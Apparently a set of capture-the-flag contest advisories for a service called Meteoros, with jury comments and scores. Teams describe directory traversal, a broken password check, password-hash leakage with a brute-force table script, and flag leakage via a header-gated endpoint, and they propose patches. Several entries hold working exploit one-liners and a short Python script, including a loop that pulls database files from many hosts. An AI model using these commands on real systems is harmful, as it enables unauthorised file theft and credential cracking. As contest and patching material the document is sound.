Meteoros Advisories


Service:Meteoros
Text:The "add" part of the server listening on port 3300 uses the two variables starttime and startTime. starttime is user input - using it we can link any file into the public folder, e.g.
add
../db.sqlite
The server then returns the appropiate link.
Fix: change starttime to startTime in l95
Jury comment:OK. I will wait exploit again))
Score:2/3 points

Service:Meteoros
Text:(echo "add"; sleep 1; echo "../db.sqlite"; sleep 2) | nc -w 1 10.23.X.3 3300 | grep -oE "http://IP:8000/public/\w+\.\w+"

returns the right link. now do sed "s#IP#...#g" and download the file
Jury comment:Ok
Score:1/3 point


Service:Meteoros
Text:The password check for command "view" is not effective. You can fix the service with the following patch:

--- MeteorosMeteoServer.py.old 2011-11-19 12:43:44.000000000 -0500
+++ MeteorosMeteoServer.py 2011-11-19 11:19:23.000000000 -0500
@@ -142,6 +142,7 @@
secret = self.readline()
if not Auth.checkSecret(secret):
self.request.send("Invalid secret! :-(\n")
+ continue

self.request.send("Enter time:\n")
viewTime = int(self.readline())


In this way, even if the the password has been changed, an attacker can still use the command "view".

Example:


0 $ nc 10.23.X.3 3300
Hi! This is a Meteoros server. For viewing meteodata use port 8000.
Enter command:
view
Enter our super-secret:
foo
Invalid secret! :-(
Enter time:
...
Jury comment:Yep
Score:2/2 points

Service:Meteoros
Text:Aithorization Error. Can read data from db without authorization

Patch:

if not Auth.checkSecret(secret):
self.request.send("Invalid secret! :-(\n")
else:
self.request.send("Enter time:\n")
viewTime = int(self.readline())
data = db.getInterval(viewTime, viewTime)
for row in data:
self.request.send(str(row[2]) + " " + str(row[3]) + " " + str(row[5]) + "\n")
Jury comment:Yes, but very late
Score:0/2 points

Service:Meteoros
Text:**Bug in command "view"
**Only message will be written if your secret is wrong; No action comes.
**That's why we can put time and receive flag in str(row[5]).

if command == "view":
self.request.send("Enter our super-secret:\n")
secret = self.readline()
if not Auth.checkSecret(secret):
(145) self.request.send("Invalid secret! :-(\n")
##Fix:(146) return

self.request.send("Enter time:\n")
viewTime = int(self.readline())
data = db.getInterval(viewTime, viewTime)
for row in data:
self.request.send(str(row[2]) + " " + str(row[3]) + " " + str(row[5]) + "\n")
Jury comment:Very late, see opened advisories
Score:0/2 points


Service:Meteoros
Text:the "public" command lacks proper input validation. You can access any file via
curl http://xx:8000/public/..%2Fmyfile
In l31 of HTTPHandlers.py, insert
name = name.split("/")[-1]
Jury comment:Yes, of course! But I want a concrete exploit.
Score:1/2 point

Service:Meteoros
Text:expl for previous advisory.
for i in seq 10 99; do echo $i; curl --connect-timeout 1 -m 10 http://10.23.$i.3:8000/public/..%2Fdb.sqlite | strings | grep -oE
"\w{31}="|uniq>>flags.txt; done
Jury comment:Ok, and full score at this advisory.
Score:1/2 point

Service:Meteoros
Text:Directory Traversal in HTTPHandlers.py line 31
http://10.23.x.3:8000/public/..%2FSECRET
Jury comment:Yes, but very late
Score:0/2 points


Service:Meteoros
Text:the central "forecast.R" file is written horribly. some improvements include:

- allocating the entire vector beforehand instead of creating a new object every loop: "means <- rep(0,len)" instead of "means <- c()"
- avoiding useless calculations: means(x)*2 - sum(x)/n is the same as means(x). even better, use a vectorized function for rolling windows
- using the function diff() instead of calculating delta yourself
- avoid unnecessary loops such as the second by vectorization: w <- 1/1:(l-1) etc.
- avoid more unnecessary loops: "for (i in 1:300) x[1] <- x[1] + k" is the same as x[1] + 300*k
Jury comment:Yes, but i want another one yet))
Score:3/4 points

Service:Meteoros
Text:A way to optimize forecast.R (replace text in forecast.R)

len <- length(x)
means <- c()
for (idx in 1 : (len - n + 1))
{
#means[idx] <- mean(x[idx : (idx + n - 1)]) * 2 - sum(x[idx : (idx + n - 1)])$
means[idx] <- sum(x[idx : (idx + n - 1)]) / n
}

#delta <- means[2 : length(means)] - means[1 : (length(means) - 1)]
delta <- c()
for (idx in 1 : len - n)
{
delta[idx] <- (x[idx+n]-x[idx])/n
}
w <- c()
for (idx in 1 : (len - n))
{
j <- len - n - idx + 1
w[j] = (1 / j) / log(2)
if (j %% 2 == 0)
{
w[j] = (-1)*w[j]
}
}

for (idx in (len + 1) : (len + 100))
{
deltanew <- sum(w * delta)

meansnew <- means[len - n + 1] + deltanew

# for next 5 minutes
#for (i in 1 : 300)
means[1] <- means[1] + sum(means[2 : length(means)] * delta) + deltanew

xnew <- meansnew * n - sum(x[(length(x) - n + 2) : length(x)])
x[idx] <- xnew

means <- c(means[2 : length(means)], meansnew)
delta <- c(delta[2 : length(delta)], deltanew)
}

x
Jury comment:All was already... But there is one optimize not pubilshed.
Score:0/4 points

Service:Meteoros
Text:Replace text in forecast.R

len = length(x)

delta = c()
for (idx in 1 : len - n)
{
delta[idx] = (x[idx+n]-x[idx])/n
}
w = c()
for (idx in 1 : (len - n))
{
j = len - n - idx + 1
w[j] = (1 / j) / log(2)
if (j %% 2 == 0)
{
w[j] = (-1)*w[j]
}
}

meansnew = sum(x[(len-n+1) : len]) / n
for (idx in (len + 1) : (len + 100))
{
deltanew = sum(w * delta)
meansnew = meansnew + deltanew
x[idx] = meansnew * n - sum(x[(len - n + 2) : len])
len = len + 1
delta = c(delta[2 : length(delta)], deltanew)
}

x
Jury comment:Yyess!
Score:1/4 point

Service:Meteoros
Text:the first loop in forecast.R can be totally avoided using the C-implemented cumsum(), the shift operator and mean(x)=sum(x)/n. This saves multiple calculations of sums in the rolling window.
Jury comment:Very late
Score:0/4 points

Service:Meteoros
Text:Forecast algorith speedup:
problem is in calculateing mean[0] at line
for (i in 1 : 300)
means[1] <- means[1] + sum(means[2 : length(means)] * delta) + sum(w * delta)

one possible fix is to replace it with::
means[1] <- means[1] + 300*(sum(means[2 : length(means)] * delta) + sum(w * delta))
Jury comment:No, it is not awesome. and see meteoros update
Score:0/4 points

Service:Meteoros
Text:Better forecast.R:

means <- c()
means[1] <- mean(x[1 : n])
for (idx in 2 : (length(x) - n + 1))
{
means[idx] <- means[idx-1]-x[idx-1]/n+x[idx+n-1]/n
} #not necessary to calculate the mean every time because only 2 values change

delta <- means[2 : length(means)] - means[1 : (length(means) - 1)]

w <- c()
lengthx<-length(x)
for (idx in 1 : (lengthx - n))
{
j <- lengthx - n - idx + 1
w[j] = (-1) ^ (j - 1) / j / log(2)
}

#w <- w / log(2)
sumx<-sum(x[(lengthx-n+1):(lengthx-1)])
for (idx in (lengthx + 1) : (lengthx + 100))
{
deltanew <- sum(w * delta)

meansnew <- means[length(means)] + deltanew

sumx<- sumx-x[length(x)-n+1]+x[length(x)] #not necessary to calculate the sum everytime, because only the first and last entry change
xnew <- meansnew * n - sumx
x[idx] <- xnew

means <- c(means[2 : length(means)], meansnew)
delta <- c(delta[2 : length(delta)], deltanew)
}

x
Jury comment:Very late, is was in updates.
Score:0/4 points

Service:Meteoros
Text:Some improvement may be achieved by optimizing the sum(x[(length(x) - n + 2) : length(x)]) out of the last loop. It is possible to do this because the for loop iterates in the range length length(x)+1..length(x)+100 and sum sums in different range so it's value never changes.
Jury comment:Very late
Score:0/4 points

Service:Meteoros
Text:Replace text in forecast.R for this

len = length(x)

delta = c()
for (idx in 1 : len - n)
{
delta[idx] = (x[idx+n]-x[idx])/n
}
w = c()
for (idx in 1 : (len - n))
{
j = len - n - idx + 1
w[j] = (1 / j)
if (j %% 2 == 0)
{
w[j] = (-1)*w[j]
}
}

for (idx in (len + 1) : (len + 100))
{
deltanew = sum(w * delta) / log(2)
x[idx] = x[idx-n]+n*deltanew
delta = c(delta[2 : (len - n)], deltanew)
}

x
Jury comment:Very late
Score:0/4 points


Service:Meteoros
Text:An error in forecast.R causes the service to timeout.

It's possible to avoid the for cycle at l25 applying this patch:

: --- forecast/forecast.R.bak 2011-11-19 13:10:09.000000000 -0500
+++ forecast/forecast.R 2011-11-19 13:13:14.000000000 -0500
@@ -22,8 +22,9 @@
meansnew <- means[length(means)] + deltanew

# for next 5 minutes
- for (i in 1 : 300)
- means[1] <- means[1] + sum(means[2 : length(means)] * delta) + sum(w * delta)
+ #for (i in 1 : 300)
+ # means[1] <- means[1] + sum(means[2 : length(means)] * delta) + sum(w * delta)
+ means[1] <- means[1] + 300 * ( sum(means[2 : length(means)] * delta) + sum(w * delta) )

xnew <- meansnew * n - sum(x[(length(x) - n + 2) : length(x)])
x[idx] <- xnew
@@ -32,4 +33,4 @@
delta <- c(delta[2 : length(delta)], deltanew)
}
Jury comment:Yes, but it is not enough for break time limit.
Score:2/2 points


Service:Meteoros
Text:Advisory
* Description
You can retreive the sha1 hashed pw by sending "remind" to meteoros port 3300
if command == "remind":
self.request.send("Your hash is '" + Auth.secret() + "'\n")


* Patch
152 if command == "remind":
153 self.request.send("nope\n")
154 #self.request.send("Your hash is '" + Auth.secret() + "'\n")

Modify
* Exploit
retreive sha1 hash and find collision to gain a valid password
Jury comment:OK :-)
Score:1/1 point

Service:Meteoros
Text:The server has a command "remind" which returns the sha256 sum for a 8-char password. That's easy enough to brute force :-) Remove that command...
Jury comment:Too late((
Score:0/1 points


Service:Meteoros
Text:The passwords given out by the meteoros master server are small alphas. Therefore there are 7^24 = 191581231380566414401 for the password.

With the remind function which gives out the sha256 digest and a big hashtable (~500GB), it should be possible get privileges for the view function.


Hashtables can be generated with this rather simple python script

#!/usr/bin/python
import hashlib

chars = map(lambda x: chr(x), range(97, 123))
out = open("hfile", "w")
print chars
hl = hashlib.sha256
ow = out.write
for a in chars:
print "processing", a
for b in chars:
print "\t", b
for c in chars:
for d in chars:
for e in chars:
for f in chars:
for g in chars:
x = "%s%s%s%s%s%s%s" % (a,b,c,d,e,f,g)
ow("%s %s\n" % (x, hl(x).hexdigest()))
f.close()

After generation this can be added to a database, which supports fast lookup for the hexdigest and be a backend for a script to dump weather data.
Jury comment:SHA256 isn't panacea:-) But patch?
Score:2/3 points

Service:Meteoros
Text:in addition to last advisory about meteoros + sha256 rainbowtable attack: patch is to disable the remind function by replacing its output with links to catvideos from youtube
Jury comment:It's not a patch, because we may get SECRET without remind function :(
Score:0/3 points

Service:Meteoros
Text:As already written in many other advisories, hashtable attacks against the Meteoros password are possible. Of course, a brute-force attack is possible just as well.
A simple shell-script can almost certainly spoil every possible attack on the password of Meteoros:
while true
do :
./newPassword.py
sleep 5
done

So unless someone cracks the password in less than 5 seconds, any attack against it will fail.
Jury comment:But I want to protect from hashtable-crack, how I can do it?
Score:0/3 points

Service:Meteoros
Text:== alcapwn ==

As already written in many other advisories, hashtable attacks against the Meteoros password are possible.
If the other teams have a way of stealing your hash, there are 2 things you can do to make that hash useless.

1. Use a time-consuming hash function so that computing a rainbow table would take forever. e.g. instead of
sha256 = hashlib.sha256(data).hexdigest()
use something like
sha256 = hashlib.sha512(data).hexdigest()
for i in range(1000):
sha256 = hashlib.sha512(sha256).hexdigest()
in both Auth.py and newPassword.py

2. Change the password every second (so that rainbow table lookups which take longer will be useless)
while true
do :
./newPassword.py
sleep 1
done
Jury comment:Yes, it is not bad solution
Score:1/3 point

Service:Meteoros
Text:Meteoros sha256 password stuff:

To patch this either the server needs to deal out better passwords or another hash function could be chosen which would have two effects: Most exploits which rely on the hash being sha256 would not work anymore without human interaction (and looking for what hash algorithm is used without having the source doe) or either, if hashalgorithm is known, use a hashalgorithm which is more complex and therefore rainbowtables are harder to build up (taking a not widely used hash algorithm would have the advantage that its realy improbable that prebuild rainbowtables already exist).

To make the hash more secure also a salt could be used to make the password / hashrange more komplex. Using e.g. "9y8nmttxwf9j" for each hash as a salt would mean that an atacker with prebuild hashtables for [a-z]{7} would not succeed.
Jury comment:Very late
Score:0/3 points


Service:Meteoros
Text:==Desc
Web application shows all table contents when requesting table data. Including comments (flags)

==PoC
headers={"X-Requested-With":"XMLHttpRequest"}
req=urllib2.Request('http://xx:8000/tabledata','',headers)
resp = urllib2.urlopen(req)

==Corrective action :
In HTTPHandler.py :
--- result[dTime][dType] = str(dValue) + " " + dComment
+++ result[dTime][dType] = str(dValue)
Jury comment:Yes, but another team was first
Score:0/3 points

Service:Meteoros
Text:In HTTPHandlers.py
line 58
[dId, dTime, dType, dValue, dAuthor, dComment] = row
Actually dAuthor and dComment are swapped in database record, so dCommend contains author value.
Sending an XMLHTTPRequest to /tabledata will show author's records (include flags).
FIX:
newline 58: [dId, dTime, dType, dValue, dComment, dAuthor] = row
Exploit:
wget http://$ip:8000/tabledata --header='X-Requested-With: XMLHttpRequest'
Jury comment:Late..
Score:0/3 points

Service:Meteoros
Text:in the HTTPHandlers exists a Handler named MeteorosHTTPTableDataHandler, which allows to grab flags if one adds the XML-blah header (look below). From there we can get flags. A download will give you much data so limiting this is a good idea. It will only give you one flag per request. Just visit some minutes later to get a new flag.

You can retrieve the flags with curl:
curl -r 0-10240 --connect-timeout 180 -X GET http://10.23.$IP.3:8000/tabledata -H "X-Requested-With: XMLHttpRequest" -s | egrep "\w{31}=" -o|sort -u
Jury comment:Very late
Score:0/3 points


Service:Meteoros
Text:------------------------------ [[ FluxFingers ]] ------------------------------
--[ Description ]--------------------------------------------------------------
Meteoros leaks the flags in a table which can be recieved with a special
crafted request. Vulnerable code (line 61):

result[dTime][dType] = str(dValue) + " " + dComment

dComment is the flag. To get to this Code an attacker has to bypass following
restriction (lines 49-51):

requestWith = resource.getHeader('X-Requested-With')
if requestWith != "XMLHttpRequest":
return ""

--[ Patch ]--------------------------------------------------------------------
Just do not leak the flag in line 61:

result[dTime][dType] = str(dValue)

--[ Exploit ]------------------------------------------------------------------
#!/usr/bin/python
import sys, re
from urllib2 import *

ip = sys.argv[1]

request = Request('http://%s:8000/tabledata' % ip)
request.add_header('X-Requested-With', 'XMLHttpRequest')
content = build_opener().open(request).read()

flags = []
for m in re.finditer(r'\w{31}=', content, re.DOTALL):
# bake pretty cakes with your flags
# ...
Jury comment:Yes, /tabledata is wrong
Score:3/3 points